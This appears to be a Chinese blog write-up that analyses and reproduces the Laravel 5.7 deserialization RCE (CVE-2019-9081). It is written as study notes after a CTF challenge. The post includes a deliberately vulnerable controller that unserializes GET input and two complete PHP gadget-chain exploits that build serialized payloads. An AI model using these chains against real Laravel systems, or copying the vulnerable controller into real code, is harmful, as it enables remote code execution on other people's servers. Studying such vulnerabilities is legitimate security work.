IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Laravel5.7(CVE-2019-9081)反序列化漏洞分析与复现 -> 正文阅读

[PHP知识库]Laravel5.7(CVE-2019-9081)反序列化漏洞分析与复现

前言

在做题的时候遇到了这题,所以便来学习一下这个漏洞的原理,因为还是个萌新看文章时有一些地方不是特别理解,所以便来手动调试一下

环境搭建

我采用的是vscode+phpstudy+php7.3.4+xdebug,一开始的默认调试时间太过于短暂,不方便跟踪,可以参考这篇文章 xdebug修改调试时间

在自己的网站文件夹下使用composer下载Laravel5.7
composer create-project laravel/laravel=5.7.* --prefer-dist ./
composer搭建链接

复现准备

  1. 需要在 app\Http\Controllers 下新建一个控制器
    //app\Http\Controllers\kb_Coneroller 类名与文件名保持一致
    <?php 
    namespace App\Http\Controllers;
    
    use Illuminate\Http\Request;
    
    class kb_Controller extends Controller
    {
        public function kb()
        {
            if(isset($_GET['unserialize'])){
                $code = $_GET['unserialize'];
                unserialize($code);
            }
            else{
                highlight_file(__FILE__);
            }
            return "kb";
        }
    }
    ?>
    

2.在 routes\web.php 添加一条路由

	Route::get('/kb',"kb_Controller@kb");//类名@方法名

反序列化代码审计

漏洞链的起点在vendor\laravel\framework\src\Illuminate\Foundation\Testing\PendingCommand.php
该类的主要作用是用来命令执行,我们要利用的就是其中的run方法,有两个变量很重要

    protected $command;//要运行的命令
    protected $parameters;//要传给命令的参数,这个是数组
public function __destruct()
    {
        if ($this->hasExecuted) {
            return;
        }

        $this->run();
    }

在它的析构函数中便有调用到run方法,但是得经过上面的判断,但是hasExecuted本来便是false

protected $hasExecuted = false;

直接进入run方法

    public function run()
    {
        $this->hasExecuted = true;

        $this->mockConsoleOutput();

        try {
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
        } catch (NoMatchingExpectationException $e) {
            if ($e->getMethodName() === 'askQuestion') {
                $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
            }

            throw $e;
        }

        if ($this->expectedExitCode !== null) {
            $this->test->assertEquals(
                $this->expectedExitCode, $exitCode,
                "Expected status code {$this->expectedExitCode} but received {$exitCode}."
            );
        }

        return $exitCode;
    }

要想执行到异常处理代码中得先经过 $this->mockConsoleOutput()

protected function mockConsoleOutput()
    {
        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
        ]);

        foreach ($this->test->expectedQuestions as $i => $question) {
            $mock->shouldReceive('askQuestion')
                ->once()
                ->ordered()
                ->with(Mockery::on(function ($argument) use ($question) {
                    return $argument->getQuestion() == $question[0];
                }))
                ->andReturnUsing(function () use ($question, $i) {
                    unset($this->test->expectedQuestions[$i]);

                    return $question[1];
                });
        }

        $this->app->bind(OutputStyle::class, function () use ($mock) {
            return $mock;
        });
    }

先写个poc试试

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public function __construct(){
            $this->command="phpinfo";
            $this->parameters[]="1";  
        }
    }
}
namespace {
    use Illuminate\Foundation\Testing\PendingCommand;
    echo urlencode(serialize(new PendingCommand()));
}

在这里插入图片描述
在196行的createABufferedOutputMock()方法中出现错误,说试图获取非对象的属性,先进代码看看。

foreach ($this->test->expectedOutput as $i => $output) {///}

expectedOutput是一个数组将它进行foreach循环,本类中并没有这个属性,
$this->test也是我们可以控制的,所以我们可以用__get()来让他返回一个数组,全局搜索一个__get()。
在这里插入图片描述

public function __get($attribute)
    {
        return $this->default;
    }

继续编写调试poc

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        public function __construct($test){
            $this->command="phpinfo";
            $this->parameters[]="1";
            $this->test=$test;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($default)
        {
            $this->default =$default;
        }
    }
}
namespace {
    use Illuminate\Foundation\Testing\PendingCommand;
    use Faker\DefaultGenerator;
    $default = new DefaultGenerator(array('kb'=>'aaa'));
    $pend = new PendingCommand($default);
    echo urlencode(serialize($pend));
}

下断点调试
在这里插入图片描述
进入,成功调用到__get
在这里插入图片描述
成功返回数组内容,然后便返回到mockConsoleOutput()中
在这里插入图片描述
继续调试发现在180行的mockConsoleOutput()方法中出现问题,说在 null 上调用成员函数 bind()
在这里插入图片描述
进代码中查看
在这里插入图片描述
上面说app是一个实例化的Application,那我们便给他赋值
修改poc

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $app;
        protected $command;
        protected $parameters;
        public $test;
        public function __construct($test,$app){
            $this->command="phpinfo";
            $this->parameters[]="1";
            $this->test=$test;
            $this->app = $app;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($default)
        {
            $this->default =$default;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
    }
}

namespace {
    use Illuminate\Foundation\Testing\PendingCommand,Faker\DefaultGenerator,Illuminate\Foundation\Application;;
    $default = new DefaultGenerator(array('kb'=>'aaa'));
    $app = new Application();
    $pend = new PendingCommand($default,$app);
    echo urlencode(serialize($pend));
}

这时调试发现已经成功跳出mockConsoleOutput()
在这里插入图片描述
然后执行到

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

这个时候的app已经是Application类的对象,kernel:class是Illuminate\Contracts\Console\Kernel,对象被当做数组使用的话必须要使用ArrayAccess接口,而刚好Application类的父类Container类中就有使用了这个接口,这个call函数也是在app中的,所以得返回一个app对象
在这里插入图片描述
在这里插入图片描述
我们再下断点跟进一下
在这里插入图片描述
跳转到offsetGet,key是Illuminate\Contracts\Console\Kernel,然后再跳转到make。
在这里插入图片描述

上面的代码不影响,然后再跳到父类的make
在这里插入图片描述
再跳到resolve,这里有两个利用点可以返回app对象
一.在下方代码15行返回
二.最后一个return $object

 protected function resolve($abstract, $parameters = [])
    {
        $abstract = $this->getAlias($abstract);

        $needsContextualBuild = ! empty($parameters) || ! is_null(
            $this->getContextualConcrete($abstract)
        );

        // If an instance of the type is currently being managed as a singleton we'll
        // just return an existing instance instead of instantiating new instances
        // so the developer can keep using the same objects instance every time.
        
        //下面这里是第一个
        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            return $this->instances[$abstract];
        }

        $this->with[] = $parameters;

        $concrete = $this->getConcrete($abstract);

        // We're ready to instantiate an instance of the concrete type registered for
        // the binding. This will instantiate the types, as well as resolve any of
        // its "nested" dependencies recursively until all have gotten resolved.
        
		//这里是第二个
        if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }

        // If we defined any extenders for this type, we'll need to spin through them
        // and apply them to the object being built. This allows for the extension
        // of services, such as changing configuration or decorating the object.
        foreach ($this->getExtenders($abstract) as $extender) {
            $object = $extender($object, $this);
        }

        // If the requested type is registered as a singleton we'll want to cache off
        // the instances in "memory" so we can return it later without creating an
        // entirely new instance of an object on each subsequent request for it.
        if ($this->isShared($abstract) && ! $needsContextualBuild) {
            $this->instances[$abstract] = $object;
        }

        $this->fireResolvingCallbacks($abstract, $object);

        // Before returning, we will also set the resolved flag to "true" and pop off
        // the parameter overrides for this build. After those two things are done
        // we will be ready to return back the fully constructed class instance.
        $this->resolved[$abstract] = true;

        array_pop($this->with);

        return $object;

要想在15行返回得满足下列条件


if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            return $this->instances[$abstract];
        }

返回的便是个数组中的对象,我们直接给他赋值为app对象即可,而且也满足了if的第一个条件,第二个条件取反了所以它原来得是假,那我们便去跟一下这个属性

protected function resolve($abstract, $parameters = [])
    {
        $abstract = $this->getAlias($abstract);

        $needsContextualBuild = ! empty($parameters) || ! is_null(
            $this->getContextualConcrete($abstract)
        );
     }
$parameters是个空数组取反后为假,再跳转到getContextualConcrete(),$abstract一直都是"Illuminate\Contracts\Console\Kernel"

在这里插入图片描述
不会再第一个if返回,在第二个if中不存在 $this->abstractAliases[Illuminate\Contracts\Console\Kernel]这个值所以为空,直接返回空,所以 $needsContextualBuild的值就是false,这样就直接返回了app对象
去调用call方法,再去跟一下call方法

    public function call($callback, array $parameters = [], $defaultMethod = null)
    {
        return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
    }

第一个参数是执行的命令,第二个是参数,第3个默认为空,继续进入BoundMethod::call

    public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
    {
        if (static::isCallableWithAtSign($callback) || $defaultMethod) {
            return static::callClass($container, $callback, $parameters, $defaultMethod);
        }

        return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );
        });
    }

我们不能进入第一个if的返回所以先看看第一个if判断, $defaultMethod是空这个我们不管他

protected static function isCallableWithAtSign($callback)
    {
        return is_string($callback) && strpos($callback, '@') !== false;
    }

这里只要命令中不带@就会返回假,所以不会进入call中的if,继续分析call下面的代码

return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );
        });

主要看call_user_func_array的第二个参数

    protected static function getMethodDependencies($container, $callback, array $parameters = [])
    {
        $dependencies = [];

        foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
            static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
        }

        return array_merge($dependencies, $parameters);
    }

这里主要就是将我们的参数数组与$dependencies结合起来,所以不会影响我们,这条反序列化链就到此为止,最终exp

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $app;
        protected $command;
        protected $parameters;
        public $test;
        public function __construct($test,$app){
            $this->command="phpinfo";
            $this->parameters[]="1";
            $this->test=$test;
            $this->app = $app;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($default)
        {
            $this->default =$default;
        }
    }
}
namespace Illuminate\Foundation{

    use Illuminate\Foundation\Application as FoundationApplication;

class Application{
        protected $instances = [];
        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    use Illuminate\Foundation\Testing\PendingCommand,Faker\DefaultGenerator,Illuminate\Foundation\Application;;
    $default = new DefaultGenerator(array('kb'=>'aaa'));
    $app = new Application();
    $application = new Application($app);
    $pend = new PendingCommand($default,$application);
    echo urlencode(serialize($pend));
}

在这里插入图片描述

在这里插入图片描述
上面是resolve()的第一个返回app的方法,接下来看看第二个

        $concrete = $this->getConcrete($abstract);

        if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }

进getConcrete($abstract)看看

    protected function getConcrete($abstract)
    {
        if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
            return $concrete;
        }
        if (isset($this->bindings[$abstract])) {
            return $this->bindings[$abstract]['concrete'];
        }

        return $abstract;
    }

再进入getContextualConcrete()

    protected function getContextualConcrete($abstract)
    {
        if (! is_null($binding = $this->findInContextualBindings($abstract))) {
            return $binding;
        }
        if (empty($this->abstractAliases[$abstract])) {
            return;
        }

        foreach ($this->abstractAliases[$abstract] as $alias) {
            if (! is_null($binding = $this->findInContextualBindings($alias))) {
                return $binding;
            }
        }
    }

第一个if返回的是空不会进入,没有$this->abstractAliases[“Illuminate\Contracts\Console\Kernel”],直接return,回到getConcrete()

if (isset($this->bindings[$abstract])) {
            return $this->bindings[$abstract]['concrete'];
        }

return $abstract;

没有设置$this->bindings[‘Illuminate\Contracts\Console\Kernel’],会直接返回kernel,不能让它这样返回,得让他返回一个Application类,所以在
this->bindings[‘Illuminate\Contracts\Console\Kernel’][‘concrete’] 下手
将Application类赋值给他,继续调试
在这里插入图片描述
在这里插入图片描述
成功返回Application类,此时两个变量不一样,所以会带Application类再进一次make方法
make->parent::make()->resolve()->getConcrete
在这里插入图片描述

没有设置 $this->bindings[“Illuminate\Foundation\Application”][‘concrete’],直接返回
在这里插入图片描述
两个相等,进入build()
在这里插入图片描述
最终就用反射类实例化app对象,然后逐层返回,再调用call()
在这里插入图片描述
第二个exp如下:

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $app;
        protected $command;
        protected $parameters;
        public $test;
        public function __construct($test,$app){
            $this->command="phpinfo";
            $this->parameters[]="1";
            $this->test=$test;
            $this->app = $app;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($default)
        {
            $this->default =$default;
        }
    }
}
namespace Illuminate\Foundation{

    use Illuminate\Foundation\Application as FoundationApplication;

class Application{
        protected $bindings;
        //protected $instances = [];
        public function __construct($instances = [])
        {
            //$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
            $this->bindings['Illuminate\Contracts\Console\Kernel']['concrete'] = 'Illuminate\Foundation\Application';
        }
    }
}

namespace {
    use Illuminate\Foundation\Testing\PendingCommand,Faker\DefaultGenerator,Illuminate\Foundation\Application;
    $default = new DefaultGenerator(array('kb'=>'aaa'));
    $app = new Application();
//    $application = new Application($app);
    $pend = new PendingCommand($default,$app);
    echo urlencode(serialize($pend));
}
?>

在这里插入图片描述

总结:对反序列化有了更深的认识,主要是锻炼了自己的思路,也会了更多的调试手法。自己还是太菜,得花更多的时间学习(强的强死,菜的菜死)。

参考链接:
laravel5.7 反序列化漏洞复现
Laravel5.7反序列化RCE漏洞分析
Laravel5.7反序列化漏洞之RCE链挖掘/#漏洞链挖掘

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-08 13:45:21  更:2022-01-08 13:47:19 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:39:37-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码